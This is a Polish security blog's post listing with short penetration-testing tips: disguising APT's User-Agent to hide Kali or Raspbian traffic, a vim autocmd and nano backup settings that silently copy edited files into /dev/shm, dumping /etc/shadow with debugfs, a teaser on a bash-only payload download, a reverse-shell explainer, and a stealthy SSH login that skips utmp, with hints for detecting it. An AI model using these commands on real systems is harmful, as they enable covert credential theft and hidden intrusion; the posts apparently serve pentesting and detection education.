Napisał: Patryk Krawaczyński
26/03/2024 w Pen Test
O
d strony inżynierii detekcji warto wykrywać różnego rodzaju dziwne nagłówki aplikacji klienckich (ang. User-Agent) w sieci firmowej np. te należące do Kali lub Raspbian. Z kolei od strony ofensywnej czasami może być konieczna zmiana wartości User-Agent, gdy nie chcemy ujawniać, że używamy konkretnej wersji menadżera pakietów APT (ang. Advanced Packaging Tool) np. gdy wykonujemy pentesty w otoczeniu systemów Windows. Domyślnie system Ubuntu używa tej aplikacji klienckiej przy korzystaniu z polecenia apt
:
GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1
Host: pl.archive.ubuntu.com
Cache-Control: max-age=0
Accept: text/*
Range: bytes=24857081-
If-Range: Mon, 25 Mar 2024 21:47:13 GMT
User-Agent: Debian APT-HTTP/1.3 (2.4.11) non-interactive
W celu zmiany tej wartości możemy dodać następujący wpis do pliku /etc/apt/apt.conf.d/77user-agent:
Acquire
{
http::User-Agent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36";
};
Acquire::http::User-Agent-Non-Interactive "false";
Pierwszy wpis zmienia wartość Debian APT-HTTP/1.3 (2.4.11) drugi usuwa sufix: non-interactive:
GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1
Host: pl.archive.ubuntu.com
Cache-Control: max-age=0
Accept: text/*
Range: bytes=110351-
If-Range: Tue, 26 Mar 2024 16:42:16 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Wartość na którą ustawimy User-Agent powinna odzwierciedlać aktualne wersje przeglądarek – nie ustawiajmy zbyt starych wersji lub platformy (np. mobilnej), która w danej sieci nie będzie miała żadnego sensu. Możemy skorzystać z odpowiedniej strony, aby zapoznać się z bieżącym przykładem swojej przeglądarki. W tak przygotowanym systemie powinniśmy również wyłączyć aktualizowanie pakietów (ręczne i automatyczne), ponieważ monitoring ruchu sieciowego może z łatwością wyłapać trafienia do adresów kali.org oraz raspbian.org.
Więcej informacji: List of User Agents strings, Changing apt’s User-Agent string, Configuration file for APT
Napisał: Patryk Krawaczyński
28/11/2023 w Pen Test
C
zy do pobrania pliku z internetu za pomocą protokołu http jest potrzebne inne narzędzie (np. curl) niż powłoka bash? Czy możemy napisać taką funkcję, która przyjmie adres nie związany z typowym ciągiem URL, aby nie budzić różnych systemów? Spróbujmy odpowiedzieć na te pytania. Zacznijmy od przekazania argumentu, który określi z jakiego adresu plik ma być pobrany. Naszym ciągiem tekstowym będzie: “stardust.nfsec.pl+80+payload.sh“, czyli separatorem zmiennych będzie znak “+”. W powłoce bash istnieje specjalna zmienna o nazwie Internal Field Separator (IFS), za pomocą której możemy zdefiniować separator dla polecenia read. Polecenie to może przypisać kilka zmiennych na raz, jeśli przekażemy mu dane wejściowe za pomocą metody Here Strings (podobnej do Here Documents). Czyli nasza pierwsza linia będzie miała postać:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
06/03/2023 w Pen Test
Jeśli dodamy poniższą linijkę do pliku ~/.vimrc
lub ~/.vim/plugins/keylogger.vim
:
:autocmd BufWritePost * :silent :w! >> /dev/shm/keylogger.txt
To wszystkie wpisane dane wpisane w edytorze wylądują w pliku /dev/shm/keylogger.txt. Dla osób stojących po drugiej stronie wojny edytorów – jeśli do pliku ~/.nanorc
lub /etc/nanorc
wpisy:
set backup
set backupdir /dev/shm
set allow_insecure_backup
To kopie zapasowe edytowanych plików wylądują w katalogu /dev/shm/:
root@stardust:~# ls -al /dev/shm/
total 8
drwxrwxrwt 2 root root 80 Mar 6 20:17 .
drwxr-xr-x 18 root root 4120 Feb 11 17:58 ..
-rw-r----- 1 root root 31 Mar 6 20:09 keylogger.txt
-rw-r----- 1 root root 22 Mar 6 20:09 '!root!passwords.txt~'
Jeśli pliki konfiguracyjne mają zostać pominięte przy uruchomieniu wystarczy uruchomić je z opcjami:
nano -R [plik]
vim -u NONE [plik]
Więcej informacji: Alh4zr3d on Twitter
Napisał: Patryk Krawaczyński
11/12/2022 w Pen Test
root@darkstar:~# debugfs
debugfs 1.44.1 (24-Mar-2018)
debugfs: open /dev/vda1
debugfs: cd /etc
debugfs: cat shadow
root:$6$HeeGzA.awU7P35OuN6GbBHl7yAwIDmelemelekIiaGLVYA8/hNKI1:19290:0:99999:7:::
Więcej informacji: 0xm1rch
Napisał: Patryk Krawaczyński
24/05/2021 w Bezpieczeństwo
Z
nalezienie tylnego wejścia (ang. backdoor) uruchomionego w systemie Linux nie zawsze może być trywialne. Tylne furtki służą do interakcji atakującego z hostem w czasie rzeczywistym i są konsekwencją / kolejnym krokiem włamania do systemu. Sposród różnych backdoorów, które można wykorzystać w środowisku *nix jest bardzo dobrze znany bindshell, czyli powłoka, która nasłuchuje na określonym porcie TCP/IP. Uruchomi ona wszystko, co zostanie wysłane do tego portu i odpowie danymi wyjściowymi z przesłanych poleceń. Jej wariantem jest odwrócona powłoka (ang. reverse shell), ponieważ zamiast łączenia się atakującego z ofiarą, napastnik powoduje (np. poprzez podatną webaplikację), że to system ofiary łączy się do niego z powrotem. Dlaczego to takie ważne? Ponieważ większość funkcji filtrowania sieci jest skonfigurowana tak, aby szczegółowo blokować ruch przychodzący z internetu. Jednak bardzo często ruch wychodzący jest nieograniczony lub znacznie mniej filtrowany. Dlatego odwrócony bindshell jest świetnym sposobem na przeskakiwanie zapór ogniowych i innych mechanizmów ochrony.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
25/02/2021 w Hacks & Scripts
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T agresor@192.168.1.1 \
"bash -i"
Jeśli w ten sposób połączymy się z wybranym serwerem przez SSH, to nasz użytkownik nie zostanie dodany do pliku /var/log/utmp i nie pojawi się w poleceniu who
(zalogowanych użytkowników). Pominie również takie pliki, jak .profile
oraz .bash_profile
, a po stronie klienta nie zarejestruje nazwy hosta zapisując go do pliku ~/.ssh/known_hosts:
agresor@darkstar:~$ w
w
22:44:35 up 11 min, 1 user, load average: 0.05, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 22:37 5:15 0.04s 0.03s -bash
agresor@darkstar:~$ who
who
root tty1 2021-02-25 22:37
Prawie niewidzialne SSH, ponieważ połączenie sieciowe nadal widnieje w systemie:
agresor@darkstar:~$ ss -t
ss -t
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
ESTAB 0 0 192.168.56.2:ssh 192.168.56.1:49998
Plus możemy zacząć szukać sesji, które nie mają zaalokowanego terminala:
agresor@darkstar:~$ loginctl | grep -v pts
SESSION UID USER SEAT TTY
3 1000 agresor
3 sessions listed.
agresor@darkstar:~$ loginctl session-status 3
3 - agresor (1000)
Since: Mon 2022-11-21 22:01:48 UTC; 37min ago
Leader: 1880 (sshd)
Remote: 127.0.0.1
Service: sshd; type tty; class user
State: active
Unit: session-3.scope
├─1880 "sshd: agresor [priv]"
├─1927 "sshd: agresor@notty" ""
└─1928 bash -i
Nov 21 22:01:48 darkstar systemd[1]: Started Session 3 of User agresor.
agresor@darkstar:~$ pstree `ps -eo pid,cmd | grep sshd\:.*@notty \
| grep -v grep | awk '{ print $1 }'` -ap
sshd,1927
└─bash,1928 -i
Więcej informacji: man ssh
Ostatni komentarz :